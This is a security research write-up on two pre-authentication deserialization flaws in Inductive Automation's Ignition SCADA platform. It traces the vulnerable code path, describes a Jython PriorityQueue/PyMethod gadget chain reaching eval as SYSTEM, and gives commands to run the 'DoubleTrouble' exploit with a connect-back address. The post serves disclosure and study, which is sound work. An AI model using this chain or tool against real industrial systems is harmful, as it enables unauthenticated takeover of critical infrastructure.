Technical research

DoubleTrouble: Pre‑Auth RCE in Inductive Automation Ignition via Deserialization

A deep dive into CVE-2023-39475 and CVE-2023-39476 — two critical (CVSS 9.8) deserialization vulnerabilities in Inductive Automation's Ignition SCADA platform that allow unauthenticated remote code execution. We walk through the full exploit chain from servlet entry point to SYSTEM-level code execution via a novel Jython gadget.

CVE-2023-39475 CVE-2023-39476
TECSECURITY // RESEARCH NOTE

DoubleTrouble — Inductive Automation Ignition Pre-Auth RCE

This post details the exploitation of two critical deserialization vulnerabilities in Inductive Automation’s Ignition software — CVE-2023-39475 and CVE-2023-39476. Both vulnerabilities carry a CVSS score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and enable unauthenticated remote code execution against affected installations.

The proof-of-concept exploit, DoubleTrouble, is available on GitHub.

Background

These vulnerabilities were discovered during preparation for Pwn2Own Miami 2023. Unfortunately, the competition rules were changed on January 4th, rendering our submission invalid before the event took place.

The affected versions of Ignition are 8.1.22, 8.1.23, and 8.1.24.

Vulnerability Summary

Both flaws reside in the JavaSerializationCodec and ParameterVersionJavaSerializationCodec classes within Ignition’s metro framework. Each class implements a decode method that deserializes untrusted input without any validation, allowing an attacker to supply a crafted object stream and gain code execution with NT AUTHORITY\SYSTEM privileges.

Exploitation requires the target’s Gateway Network to be configured — a common deployment pattern. Notably, this is the same attack surface that was targeted in Pwn2Own Miami 2020 (ZDI-20-687).

SSL Considerations

SSL must be disabled in the network gateway unless HTTPS is enabled on the server. If HTTPS is active, the exploit’s SSL flag can be set to true to operate over an encrypted channel.

Gateway SSL configuration

Tracing the Attack Surface

The entry point is DataChannelServlet.doPost(), which reads raw protocol data from an incoming HTTP request:

protected void doPost(HttpServletRequest req, HttpServletResponse resp)
        throws ServletException, IOException {
    InputStream inputStream = req.getInputStream();
    OutputStream outputStream = resp.getOutputStream();

    ProtocolHeader header = null;
    try {
        header = ProtocolHeader.decode(inputStream);
    } catch (LocalException e) {
        getLogger().error("onDataReceived",
            "Could not process protocol header from incoming data channel message", e);
    }

    if (header != null) {
        String connectionId = header.getSenderId();
        Optional<WebSocketConnection> optConnection =
            getFactory().getIncomingBySystemName(connectionId);

        if (optConnection.isPresent()) {
            ((WebSocketConnection)optConnection.get())
                .onDataReceived(header, inputStream, outputStream); // [1]
        }
    }
}

At [1], attacker-controlled input reaches WebSocketConnection.onDataReceived, which constructs a TransportMessage and routes it forward:

public void onDataReceived(ProtocolHeader header,
        InputStream inputStream, OutputStream outputStream) {
    // ...
    TransportMessage msg = TransportMessage.createFrom(
        new MeterTrackedInputStream(inputStream, this.incomingMeter, true)); // [2]
    routeFuture = forward(header.getTargetAddress(), msg); // [3]
}

The forward call delegates to ConnectionWatcher.handle, which parses the message and dispatches based on the intent name:

public CompletableFuture<Void> handle(String targetAddress, TransportMessage data) {
    // ...
    ServerMessage sm = ServerMessage.createFrom(data); // [4]
    if (sm.getIntentName().startsWith("_conn_")) {
        handleConnectionMessage(sm); // [5]
    }
}

By setting the intent to _conn_svr, the attacker reaches the critical decodePayload call:

protected void handleConnectionMessage(ServerMessage message) throws Exception {
    String intentName = message.getIntentName();
    if ("_conn_svr".equalsIgnoreCase(intentName)) { // [6]
        ServerRouteDetails[] routes =
            (ServerRouteDetails[])message.decodePayload(); // [7]
    }
}

The Deserialization Sink

decodePayload retrieves a MessageCodec by name and invokes its decode method:

public <T> T decodePayload() throws Exception {
    MessageCodec codec = MessageCodecFactory.get().getCodec(getCodecName()); // [8]
    return (T)codec.decode(getSourceStream()); // [9]
}

Two codecs are vulnerable:

CVE-2023-39476 — JavaSerializationCodec (id: _js_)

public Object decode(InputStream inputStream) throws Exception {
    in = createObjectInputStream(inputStream);
    return in.readObject(); // [10] — unprotected deserialization
}

CVE-2023-39475 — ParameterVersionJavaSerializationCodec (id: _js_tps_v3)

public Object decode(InputStream inputStream) throws Exception {
    in = createObjectInputStream(inputStream);
    return in.readObject(); // [11] — unprotected deserialization
}

At [10] and [11], raw readObject() is called on attacker-controlled data with no filtering, deserialization allowlists, or type checks.

Registering the Second Codec

The ParameterVersionJavaSerializationCodec is not registered by default. To reach it, an attacker must first trigger the registration path through TagProviderService2VersionAdapter:

public Object adaptOutgoingServiceReturn(int targetVersion,
        ServiceInvocation invocationData, Object result) throws Exception {
    if (targetVersion < 3) {
        MessageCodecFactory.get().registerCodec(V3CODEC); // [12]
        result = new CodecAdaptation(V3CODEC.getId(), "_js_", result);
    }
    return result;
}

This is why exploitation of CVE-2023-39475 requires two separate requests — one to register the codec, and a second to trigger deserialization through it.

Building a Gadget Chain

Exploitation requires a viable gadget chain. The standard ysoserial PyFunction gadget is neutralised in Ignition’s bundled Jython library (jython-ia-2.7.2.1.jar) because PyFunction.readResolve() throws unconditionally:

private Object readResolve() {
    throw new UnsupportedOperationException();
}

However, org.python.core.PyMethod implements InvocationHandler and has no such restriction:

public class PyMethod extends PyObject implements InvocationHandler, Traverseproc {
    public Object invoke(Object proxy, Method method, Object[] args)
            throws Throwable {
        if (method.getDeclaringClass() == Object.class)
            return method.invoke(this, args);
        if (args == null || args.length == 0)
            return __call__().__tojava__(method.getReturnType());
        return __call__(Py.javas2pys(args)).__tojava__(method.getReturnType());
    }
}

This opens the door. By constructing a PriorityQueue with a proxy-backed Comparator, we can route execution through PyMethod.invoke into BuiltinFunctions.__call__, which supports eval at case 18:

public PyObject __call__(PyObject arg1, PyObject arg2) {
    switch (this.index) {
        // ...
        case 18:
            return __builtin__.eval(arg1, arg2); // arbitrary Python eval
        case 19:
            __builtin__.execfile(Py.fileSystemDecode(arg1), arg2);
            return Py.None;
        // ...
    }
}

Complete Gadget Chain

ObjectInputStream.readObject
  PriorityQueue.readObject
    PriorityQueue.heapify
      PriorityQueue.siftDownUsingComparator
        $Proxy.compare
          PyMethod.invoke
            PyMethod.__call__
              PyMethod.instancemethod___call__
                PyObject.__call__
                  PyBuiltinFunctionNarrow.__call__
                    BuiltinFunctions.__call__
                      __builtin__.eval
                        Py.runCode

This chain achieves arbitrary Python code execution within the Ignition JVM, running as SYSTEM.

Running DoubleTrouble

Build:

mvn clean package -DskipTests

Run:

java -cp target/dt.jar:libs/metro-8.1.22.jar DoubleTrouble <target> <connectback:port> [outgoing ip]

Exploiting CVE-2023-39475 (ParameterVersionJavaSerializationCodec)

Auto-detection of the outgoing server address:

Exploiting CVE-2023-39475 via ParameterVersionJavaSerializationCodec

Exploiting CVE-2023-39476 (JavaSerializationCodec)

Specifying the outgoing address directly for internet-routable targets:

Exploiting CVE-2023-39476 via JavaSerializationCodec

References

Credits

Discovered by Rocco Calvi (@TecR0c) and Steven Seeley (@mr_me) of the Incite Team.

Filed under
  • pwn2own
  • ics
  • scada
  • ignition
  • deserialization
  • rce
  • java
  • jython